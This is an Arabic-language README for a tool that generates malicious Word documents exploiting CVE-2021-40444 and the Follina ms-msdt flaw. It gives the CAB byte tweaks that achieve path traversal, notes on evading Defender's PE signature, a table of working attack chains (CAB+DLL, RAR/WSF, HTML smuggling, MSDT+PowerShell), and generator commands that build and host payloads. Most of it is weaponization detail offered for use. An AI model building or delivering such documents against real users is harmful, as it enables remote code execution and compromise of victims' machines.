
CVE-2021-40444 - استغلال RCE كامل التسليح لـ Microsoft Office Word
مُولّد مستندات docx خبيثة لاستغلال ثغرة CVE-2021-40444 (تنفيذ عن بُعد في Microsoft Office Word)، ويعمل مع ملفات DLL عشوائية.
الآن أصبح المُولّد قادرًا على إنشاء المستند المطلوب لاستغلال هجوم "Follina" أيضًا (الاستفادة من ms-msdt).
على الرغم من وجود العديد من PoCs على الإنترنت، فقد قررت أن أجرب بنفسي تحويل هذه الثغرة إلى سلاح عملي، لأن ما وجدته متاحًا كان يفتقر إلى المعلومات القيّمة التي تستحق المشاركة، خاصةً مع أن Microsoft أصدرت بالفعل تصحيحًا لهذه الثغرة.
حتى الآن، المصادر القيّمة الوحيدة التي رأيتها لإنشاء مُولّد يعمل بكامل طاقته هي:
المصادر أعلاه توضح الكثير من المتطلبات اللازمة لبناء سلسلة كاملة. لتجنب تكرار الكثير من المعلومات غير الضرورية، سألخص التفاصيل ذات الصلة.
هناك العديد من المتطلبات المُغفلة لهذا الاستغلال لكي يعمل، مما تسبب حتى في فشل PoCs جيدة، مثل هذا PoC من lockedbyte، في العمل بشكل صحيح.
ربما لم يقم أحد بنشرها صراحةً لتجنب استغلال الثغرة أكثر. لكن الآن تم تصحيحها، لذا لا ينبغي أن تسبب الكثير من المتاعب لنشر التفاصيل.
وفقًا لهذه التغريدة من Will Dormann، يجب أن يكون حجم HTML على الأقل 4096 بايتًا من أجل تشغيل "المعاينة" داخل MS Word.
يحتاج ملف CAB إلى تعديل بايتات لتجنب أخطاء الاستخراج ولتحقيق ZipSlip:
filename.inf ../filename.inffilename.inf coffCabStartCFFOLDER.typeCompress CFFOLDER.coffCabStart بمقدار 3 (بسبب إضافة '../')CFFOLDER.cCfData CFFILE.cbFile أكبر من CFHEADER.cbCabinet بأكملهCFDATA.csum أسباب هذه القيود كثيرة، ولم أمضِ وقتًا كافيًا لفهمها كلها بعمق، ولكن دعنا نرى الأهم:
ملاحظة1: يكتشف Defender الآن ما إذا كان ملف CAB يحتوي على PE باستخدام قيمة _IMAGE_DOS_HEADER.e_magic كتوقيع،
مما قد يمنع تضمين ملفات PE في CAB. هل يمكن تجاوز هذا التوقيع؟
لست متأكدًا ولكن، كما لوحظ سابقًا، هذه ثغرة تم تصحيحها، لذا لا أخطط لاستثمار المزيد من الوقت
في هذا. الأمر متروك للقارئ الفضولي لتطوير هذا أكثر.
ملاحظة2: يحجب تصحيح Microsoft مخططات URI التعسفية، ويبدو أنه يستخدم نهج القائمة السوداء (هذا مجرد افتراض)
سلسلة الهجوم الرئيسية المرتبطة بـ CVE-2021-40444 هي هجوم DLL الذي يتم تحميله عبر مخطط .cpl URI. لاستغلال
ذلك، يحتاج المهاجم إلى إنشاء DLL مصمم خصيصًا. إذا كنت تريد اختباره، جرب سكربت evildll-gen
الخاص بي.
كما أشار Max Maluin، من الممكن التفاعل مع عدة أنواع ملفات بإساءة استخدام IE و مخطط URI المرتبط بامتداد الملف. بينما قد تكون هذه طريقة جيدة لاستغلال IE، إلا أن لها قيودًا.
في الواقع، يجب ملاحظة أن الطريقة المستخدمة في الاستغلال لتنزيل الملفات تعتمد على تحديثات تحكم ActiveX،
ولا يمكن استخدامها لتنزيل ملفات عشوائية.
وفقًا لوثائق Microsoft، يمكن أن تشير علامة codebase
فقط إلى بضعة أنواع ملفات: OCX و INF و CAB.
حتى لو تمكنا من تنزيل ملف OCX أو INF مباشرة، لا يزال لا يمكننا التأكد من تنزيل الملف في الموقع الصحيح
داخل النظام. مع استغلال الكابينة، من الممكن نقل ملف .inf إلى مسار معروف باستخدام اجتياز المسار،
لكن في أي حالة أخرى سيتم تخزين الملف في دليل عشوائي، مما يجعل من المستحيل تقريبًا الإشارة إليه.
حتى اليوم، لم أجد طريقة لربط التنزيل والتنفيذ بدون ملف CAB.
ملاحظة: بالحديث عن IE فقط، يمكن أن يكون تهريب HTML سيناريو محتملاً لاستغلال الثغرة.
تم الكشف عن هذه التقنية لأول مرة بواسطة Eduardo Braun على تويتر وشرحت بالتفصيل في هذه الورقة.
يرجى ملاحظة أنه باستخدام هذه التقنية، تختلف سلسلة الهجوم قليلاً. يتطلب هذا الهجوم من المستخدم تنزيل ملف RAR مصمم خصيصًا، يتم الحصول عليه من خلال ربط سكربت WSF صالح وملف RAR صالح. بمجرد فتحه، سيحتوي RAR على DOCX مع مرجع إلى HTML، والذي بدوره سيحاول تحميل ملف RAR كسكربت WSF.
للتلخيص:
يمكن للأداة المولدة حاليًا إعادة إنتاج الهجمات التالية:
| الهجوم | قوالب HTML | الهدف | طريقة التسليم | طريقة التنفيذ | يعمل |
|---|---|---|---|---|---|
| النسخة الأصلية من الهجوم | cab-orig-* | WORD | DOCX | CAB + DLL | نعم |
| هجوم j00sean الخاص بـ IE فقط | cab-orig-j00san | IE | HTML | CAB + DLL | نعم |
| نسختي بدون DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | لا1 |
| هجوم Eduardo B. "CABless" باستخدام RAR | cabless-rar-* | WORD | RAR | WSF | نعم |
| هجوم j00sean المعدل + تهريب HTML | cabless-smuggling-* | IE | HTML | JS/VBS | نعم2 |
| هجوم Follina | cabless-msdt-* | WORD | DOCX/RTF | MSDT + PS | نعم3 |
1لا يتم تنزيل CAB بشكل صحيح في بعض البيئات
2يحتاج المستخدم إلى النقر على "حفظ" لتنزيل الملف على IE
3لا يعمل حقًا على جميع إصدارات Windows/MS Word
يمكن استخدام الأداة cab_parser.py لرؤية رؤوس ملف الاستغلال، لكن لا تعتبرها محللاً كاملاً.
إنه عارض رؤوس CAB سريع وقذر طورته لفهم ما كان يحدث.
المُولّد مصمم للعمل على Windows، حيث يستخدم أداة makecab. قبل الاستخدام، تأكد من تثبيت التبعيات المطلوبة:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
المُولّد سهل الاستخدام، وعلى الرغم من اختباره مع عدد من الحمولات المختلفة وإصدارات Windows، فهو ليس آمنًا من الفشل. أواجه سلوكيات مختلفة عبر إصدارات Windows المختلفة. حالما أحصل على مزيد من التفاصيل للمشاركة، سأنشرها هنا.
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
ملاحظة: يتم تحديد المنفذ بواسطة URL، ويتم إنشاء الاستغلال بناءً على امتداد ملف الحمولة
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert